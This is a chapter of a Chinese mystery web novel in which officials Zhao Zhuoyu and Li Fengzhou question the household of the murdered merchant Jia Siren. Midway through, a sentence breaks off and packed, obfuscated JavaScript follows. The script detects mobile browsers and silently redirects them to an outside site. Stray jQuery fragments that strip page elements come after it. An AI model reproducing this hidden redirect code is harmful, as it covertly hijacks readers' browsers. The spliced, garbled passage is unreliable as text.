25. 暗香辞(二)

作品:《与讨厌鬼合作之后

    报案的人自称是贾家的管事,姓薛,五十上下,约莫半个时辰前发现了家主死在书房。


    京兆府的人随着薛管事去到了积玉坊的贾宅,又由他引路至死者所居院落“四照轩”。


    薛管事一面抹眼泪一面不断重复:“大人一定要为我家老爷做主啊……”


    薛管家将众人引到房前,解释道:“我怕有人会破坏证物,这才把门关继续关着,还嘱咐了若无传唤不可有人靠近此地。”


    语毕推开门,几人才跨进死者房中,一股浓烈的血腥味扑面而来。


    而赵灼玉还闻见了其中夹杂着若有若无的香味。


    众人被房中景象刺得一愣。


    此间是为书房,书橱附近尚算整洁,地面却一片狼藉。


    一四十岁上下的男子仰卧地面,身下的血将衣服浸透,似能将整个人都淹没一般,且有部分血迹已快干涸。


    死者身旁有一个被打碎的青瓷花瓶,碎片散落四周。距死者几步外的书案有轻微翻动的痕迹,桌上还摆着一只空碗,一个装着碎银的钱匣子掉落在桌角,滚出几块碎银。


    随行的孙仵作见状只微微皱眉,确认不会破坏周围后走到死者身边动作利落地检查起来。


    李逢舟和赵灼玉此刻帮不上忙,于是一人在房中小心翼翼地探查,一人喊着薛管事出了书房走到院中问话。


    赵灼玉见薛管事两只眼珠子通红,和声细语地问:“薛管事今日是如何发现贾似仁的尸身的?”


    薛管事解释道:“是丫鬟春香发现的,我现在就叫她过来当面同大人讲。”


    不多时,一个年约二八的丫鬟由薛管事领到赵灼玉跟前。


    “春香,你跟这位大人说当时是什么情状。”薛管事催促道。


    春香还未从惊吓中回过神来,她十指绞在一起,低着头声音带着哭腔:“老爷昨夜宴客饮了不少酒,按惯例奴婢次日巳时才需要过来伺候老爷梳洗。奴婢先到老爷寝屋,发现屋中没有人迹,想来老爷和从前一样在书房看着账本睡着了,这才来了书房。推门进来,就是眼前这副场景。”


    她当时吓得身子发软,跌坐在地后连喊叫的力气也无,缓了片刻才跌跌撞撞地去叫人。


    赵灼玉面带疑惑问:“这宅子里人来人往,为何到今日巳时才发现你家老爷?”


    薛管事解释道:“老爷只是偶尔在此院落脚,这院子里有书房,也有老爷存放古玩珍品的库房。每次老爷醉酒或者心绪不佳都会来此,还专门吩咐不让人打搅。日子久了,这里就是下人们不能来的地方。”


    他看了一眼惊魂未定的春香,继续道:“春香做事仔细被老爷看中,这才能出入自由。”


    “贾似仁昨日宴客,可有其他人来过此处?可有东西丢了?”赵灼玉想到书房有被翻过的痕迹,心道说不定是入室抢劫。


    “宴客在前厅,老爷是自己一个人过来的。奴婢得知酒席散了,照常给老爷熬了碗醒酒汤送来,当时还明明还好好的……”春香本就微弱的声音颤抖起来,自责道:“要是奴婢再守几个时辰,说不定就不是这副情景了。”


    薛管事一面点头一面道:“库房里的古玩珍品没少,但书房里老爷放过什么我们当下人的也不清楚,不知道有没有丢东西。”


    书案上确实有一只空碗,赵灼玉若有所思,问春香:“你昨日见到贾似仁时是什么时辰?他在做什么,可还清醒,可曾喝过醒酒汤?”


    春香道:“醒酒汤是昨日亥时没过多久送来的,老爷当时在翻账本,虽说有醉意,但神志还算清醒。奴婢走的时候老爷还没喝醒酒汤。”


    她话音刚落,生怕衙门的人怀疑,忙解释:“奴婢送完醒酒汤就回去歇息了,和奴婢同住的丫鬟可以作证。”


    赵灼玉点点头,将醒酒汤这一线索记在心里,又问:“昨日的宾客都是些什么人?”


    薛管事回道:“和老爷在生意上有往来的人,都是多年的伙伴。”


    赵灼玉又问:“书房中的瓷瓶碎了一地就没人听见动静?这院子旁边又是谁的院子?”


    “这院子位于东北角,外头就是巷子了。靠西的方位是老爷所居院落,老爷和夫人同居。但宅子毕竟不小,碎了一个瓷瓶听不见也正常……”


    薛管事一脸讪讪,不由腹诽赵灼玉是不是没见过大宅子。这里别说是打碎一个花瓶,就算吵一架别的院子也不一定能听见。


    赵灼玉观薛管事面色便能猜中他心中所想,她配合似地环视一圈,不由啧啧称奇:“一个藏书藏物的院子宽阔无比,可想而知主院定然更大。是我眼皮子浅,没看出来贾老爷财大气粗。”


    薛管事尴尬一笑,不知如何作答,三人一时陷入沉默。正发窘,突然传来一阵女子自言自语之声,转头望去,一名面容姣好的夫人快步走来,身边还跟着一名手足无措的丫鬟。


    “听说来了官府的人,到底出什么事了?春香你这丫头怎么还愣在这儿,老爷库房里的宝贝擦过没有?就知道躲懒,看我怎么收拾你!”


    妇人走到春香身边抬手就想揪她的耳朵,突然瞥见她眼眶发红,于是收了手,蹙眉问:“你哭什么,谁欺负你了?是不是把东西弄坏了?”


    又看向一旁陌生的赵灼玉,上下打量一通,“这位姑娘是?”


    薛管事生怕这泼辣的主顶撞了官府的人,忙介绍:“向姨娘,这位是京兆府的人,她是来、是来……”


    薛管事心道女人死了丈夫是何等悲伤的事,一时于心不忍,口不能言。


    “哎呀,官府的人啊。”向微之顿时春风满面,虽不知眼前人是不是做官的,但还是谄笑道:“这位大人没穿官服,怪我眼拙没能一眼就认出。此刻一看,大人果然人中龙凤啊。”


    女人的夸赞赵灼玉似乎很受用,她心下一喜,暗道这姨娘说得不错,端的却是云淡风轻的模样,“休要嘴贫,正好姨娘来了,我有话要问。”


    向微之如临大敌似地往后退了一步,捂着心口道:“可是我犯了什么事?”


    “你犯没犯事不知道,贾似仁死了倒是真的。”李逢舟跨出书房稳步而来,把人死说得像吃饭喝水般寻常。


    向微之猛地转头看去,来者身上的青色官袍犹如印证死亡的真凭实据,砸得人身上骤然又沉又凉,惊得她面色随之僵硬惨白。


    向微之一个踉跄,幸得身边的丫鬟和赵灼玉伸手搀扶才没摔倒,只是在赵灼玉触及向微之臂膀时,她打了个寒战下意识撇开赵灼玉。


    赵灼玉心觉可怜,刚想出言


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335265|183178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    安慰,向微之就跌跌撞撞地冲向书房,悲戚地喊了一声“老爷”,如杜鹃啼血,痛彻心扉。


    李逢舟回身一个箭步跟上,在向微之进门之间将人拦住。


    “姨娘见谅,你暂时不能进去。”


    向微之看见房中情状,扶住门框勉强支撑住身子,“是谁干的,是谁干的……”


    薛管事见状给了丫鬟们一个眼神,丫鬟会意忙上前将向微之架着就往外走。


    “慢着——”赵灼玉出声制止,“既然来了,容我问几句话再走。”


    向微之停下,转而推开丫鬟扑通跪倒在赵灼玉身前,吓得她不知该往哪里躲。


    “大人,老爷一看就是被人害死的,你们问我什么都可以,求你们一定要找到真凶。”


    “一定会的。”赵灼玉忙把人扶起来,“昨日宴席散过了之后,姨娘身在何处?可曾来过书房?”


    向微之抽泣着道:“老爷宴客我不出面,昨日宴席是几时散的我也不关心,但我戌时过后就没再出过院子,兰香可以作证。”


    那跟着向微之一起来的丫鬟忙不迭地点头,“姨娘说的不错,而且姨娘昨日亥时就睡了。”


    薛管事补充道:“宴席是酉时末散的,老爷吩咐我将客人一一送去,不让我跟着来书房。”


    “那贾府的夫人呢?”赵灼玉问。


    “今日发现老爷身死后就派人通知夫人了。”


    彼时郑夫人在佛堂中照常念着往生经,得知丈夫去世的消息后只是短暂地震惊了一下,只道:“我知道了。”


    似乎对他是怎么死的、后事该如何办毫不上心。


    “夫人和贾似仁关系不和?”赵灼玉微微蹙眉,否则丈夫死了怎会如此淡然,对京兆府的人到来也不闻不问。


    薛管事挠了挠头,压低声音道:“主子的事我们做下人的也不了解,不过这样的情状已经持续两年了。”


    在一旁泣不成声的向微之突然冷哼一声,因为郑夫人不在才敢怒敢言:“成天一副死气沉沉的模样,不知道的还以为别人欠她几百两金子。她不来才好,别脏了老爷的地儿。”


    赵灼玉听出了向姨娘和夫人素不相能,想来问她也会失了准,于是没搭她的话,又对薛管事道:“烦请薛管事再好好问问昨日可有人看见这院子里有人出入,可有人听见动静。贵府的人,这几日就不要随意走动了。”


    薛管事领了命就去做事了,向微之又同赵灼玉说了几句好话才被丫鬟扶着离开。


    赵灼玉转身走向书房,就见孙仵作和李逢舟迎面而来。


    三人停在廊下,孙仵作道:“初步判断,苦主死于昨夜亥时至子时,后脑多次遭受钝器击打,颈部也被利器割开。用于砸后脑的器物推断为坚硬钝器。苦主身边碎裂的花瓶底座和碎片上均有血迹,我推断应该是用花瓶砸其后脑。花瓶被打碎后又用碎片割其颈部,这才流了一地的血。”


    李逢舟不由“啧”一声,“把人脑袋砸烂不够,还要抹脖子,这得多恨啊?”


    恨?会是仇杀吗?


    赵灼玉突然想。


    “其余的还要细验才行。”孙仵作补充道。


    赵灼玉提议:“那就问问郑夫人的意思,愿不愿让我们把苦主接去殓房。”